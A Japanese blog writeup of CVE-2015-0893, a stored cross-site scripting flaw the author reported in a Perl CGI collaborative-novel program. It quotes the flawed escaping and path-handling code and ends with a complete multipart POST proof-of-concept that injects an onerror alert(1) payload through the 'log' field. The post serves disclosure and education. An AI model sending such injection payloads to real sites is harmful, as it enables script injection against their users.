2015年12月12日土曜日

CVE-2015-0893

脆弱性"&'<<>\ Advent Calendar 2015 12日目の記事です。
ブログ名を「mage ctf writeup」と銘打っておきながら、CTFとは関係ないです。
わざわざ新しくブログスペースを調達するのもめんどくさいので、ここに投下。

背景

趣味の一環でソフトウェアの脆弱性を適当に探しては報告しているのですが、この脆弱性には「893」という不名誉なマジックナンバーを持ったCVE番号が発行されてしまいました。
折角なので一年の締めくくりとしてwriteup。

ソフトウェア概要

みんなで小説を執筆できるらしいです。よくわかりません。
脆弱性が存在する本体部分のソースコード

脆弱性

小説の執筆処理に蓄積型XSSが存在していました。


このソフトウェアは添付ファイル以外のユーザ入力値に対し、<,>,&をエスケープしていますが「"」をエスケープしておらず、HTMLの属性に埋め込まれたユーザ入力値が存在した場合、XSSが可能になっていました。
%FORM = &decode; # デコード
...
sub decode {
  &ReadParse;

  foreach (keys %in) {
    if ($_ ne 'upfile') {
      $in{$_} =~ tr/+/ /;
      $in{$_} =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
      $in{$_} =~ s/&/&amp;/g;
      $in{$_} =~ s/</&lt;/g;
      $in{$_} =~ s/>/&gt;/g;
      $in{$_} =~ s/\t/  /g;
      $in{$_} =~ s/\0//g;
      $in{$_} =~ s/\r\n|\r|\n/<br>/g;

      # タグ制御
      if (!$notag) {
        my $tag = join ("|", @oktag);
        $in{$_} =~ s/&lt;(\/?($tag).*?)&gt;/<$1>/ig;
      }

      &jcode::convert(\$in{$_},'sjis');
    }
  }

  return %in;
}

しかしながら、そのような入力値は埋め込み前にバリデーションされていたり、はたまたファイルパスの一部に使用されていたり(当然、存在しないパスを指定するとエラーで終了)といった感じで、思うようにXSSが出来ないようになっています。
#e.g.
  ($top, @data) = &file_read("./$nvdir$FORM{'log'}\/log\.dat");
  ($title, $joutai) = split(/\t/, $top);

  &header("$title-$noveltitle");

  # メニュー
  print "<p class=\"title2\">$title</p>\n";
  print "<p>[<a href=\"$homeurl\"> HOME </a>]\n";
  print "[<a href=\"$script?\"> TOP </a>]\n";

  if ($useimg) {
    print "[<a href=\"$script?mode=imgview&log=$FORM{'log'}\"> 挿絵一覧 </a>]\n";
  }

  if ($useml) {
    print "[<a href=\"$script?mode=mail&log=$FORM{'log'}\"> メール配信 </a>]\n";
  }

  if ($joutai != 1) {
    if (!$formwindow) {
      # 通常執筆画面
      print "[<a href=\"$script?mode=form&log=$FORM{'log'}#bottom\"> 執筆 </a>]\n";
    } else {
      # 小窓執筆画面
      print "[<a href=\"javascript:subwin('$script?mode=form&log=$FORM{'log'}&no=$no')\"> 執筆 </a>]\n";
    }
  }

ところがどっこい、windows環境においてはファイルパスの指定時、次のように存在しないディレクトリを含めていてもファイルの読み書きが可能になっています。(つまり、途中のパスは辿らないという挙動)


ゆえに、ファイルパスの一部に使用されているユーザ入力値でも、windows環境であればXSSが可能になります。次のコードが蓄積型XSSが存在する執筆処理で、画像をアップロードして$FORM{'log'}に「~"onerror="JavaScript~」などを含めることで、任意のJavaScriptを埋め込むことが可能であることがわかります。
sub new_update {
  my ($title, $joutai, $no, $hst, $tim, $pwd, $days, $kaku, $wid, $hei, $flg, $nbt, @index, @tmp, @data, @mail);

  # アクセスチェック
  if ($refurl && (!$ENV{'HTTP_REFERER'} or $ENV{'HTTP_REFERER'} !~ /^$refurl/) || $ENV{'REQUEST_METHOD'} ne 'POST') {
    &error("不正なアクセスです。");
  }

  &input_check; # 入力チェック

  # インデックスファイル・ログファイル・メールファイル読み込み
  @index = &file_read("$indexfile");
  ($top, @data) = &file_read("./$nvdir$FORM{'log'}\/log\.dat");

  $time = time; # 現時刻ゲット

  # 最終書き込みデータをゲット
  ($no, $hst, $tim) = (split(/\t/, $data[$#data]))[0, 4, 6];

  # 連続投稿を制御
  if ($renzoku && ($host eq $hst or $time < $tim+60*3)) {
    &error("連続投稿は禁止しています。");
  }

  $pwd = &encrypt($FORM{'pass'}) if ($FORM{'pass'}); # 暗号化
  $days = &get_days($time); # 日付
  $no += 1; # ナンバー

  # タイトルデータを更新
  foreach (@index) {
    @tmp = split(/\t/, $_);
    if ($FORM{'log'} == $tmp[0]) {
      $tmp[4]++;
      $tmp[5] = $days;
      $tmp[6] = $FORM{'name'}."\n";
      $_ = join("\t", @tmp);
      $flg = 1;
      last;
    }
  }
  if (!$flg) {
    &error("該当タイトルデータが見つかりません。");
  }

  # 画像アップロード
  if ($incfn{'upfile'}) {
    # ログ番号,ローカルファイルパス,画像
    $kaku = &img_write($no, $incfn{'upfile'}, $FORM{'upfile'});

    ($wid, $hei) =  (&GetImageSize("./$nvdir$FORM{'log'}/$imgdir\/$no\.$kaku"))[1, 2];

    if ($wid > $imgwid || $hei > $imghei) {
      if ($oversz) {
        # 画像サイズが規定超えてれば直す
        $wid = $imgwid if ($wid > $imgwid);
        $hei = $imghei if ($hei > $imghei);
      } else {
        &error("挿絵のサイズが大きすぎます。");
      }
    }

    # 画像挿入
    $FORM{'text'} =~ s/##img##/<img src="\.\/$nvdir$FORM{'log'}\/$imgdir\/$no\.$kaku" width="$wid" height="$hei">/g;
  }

  # データセット
  push(@data, "$no\t$FORM{'name'}\t$FORM{'mail'}\t$kaku\t$host\t$days\t$time\t$pwd\t$FORM{'text'}\n");

  # ファイル書き込み
  &lock if ($lock);
  &file_write("./$nvdir$FORM{'log'}\/log\.dat", $top, @data);
  &file_write("$indexfile", @index);
  &unlock if ($lock);

ちなみに、 $FORM{'log'} == $tmp[0] が真でないとエラーで終了しますが、数値比較な演算子なので '114514' == '114514xsspayload' のような形で真になります。最終的なpayloadはこんな感じ。
POST /mrn.cgi HTTP/1.1
Host: localhost
Content-Type: multipart/form-data;boundary=----Boundary
Content-Length: いい感じの長さ
Referer: http://localhost/mrn.cgi?mode=form&log=1

------Boundary
Content-Disposition: form-data; name="log"

1"onerror="alert(1)"//../novel1
------Boundary
Content-Disposition: form-data; name="no"


------Boundary
Content-Disposition: form-data; name="key"


------Boundary
Content-Disposition: form-data; name="mode"

write
------Boundary
Content-Disposition: form-data; name="name"

あああ
------Boundary
Content-Disposition: form-data; name="mail"


------Boundary
Content-Disposition: form-data; name="pass"

1111
------Boundary
Content-Disposition: form-data; name="upfile"; filename="ss.png"
Content-Type: image/png

[適当なpng]
------Boundary
Content-Disposition: form-data; name="text"

あああああああああああ
あああああああああああ
##img##
------Boundary--

FLAGはないです☆(ゝω・)v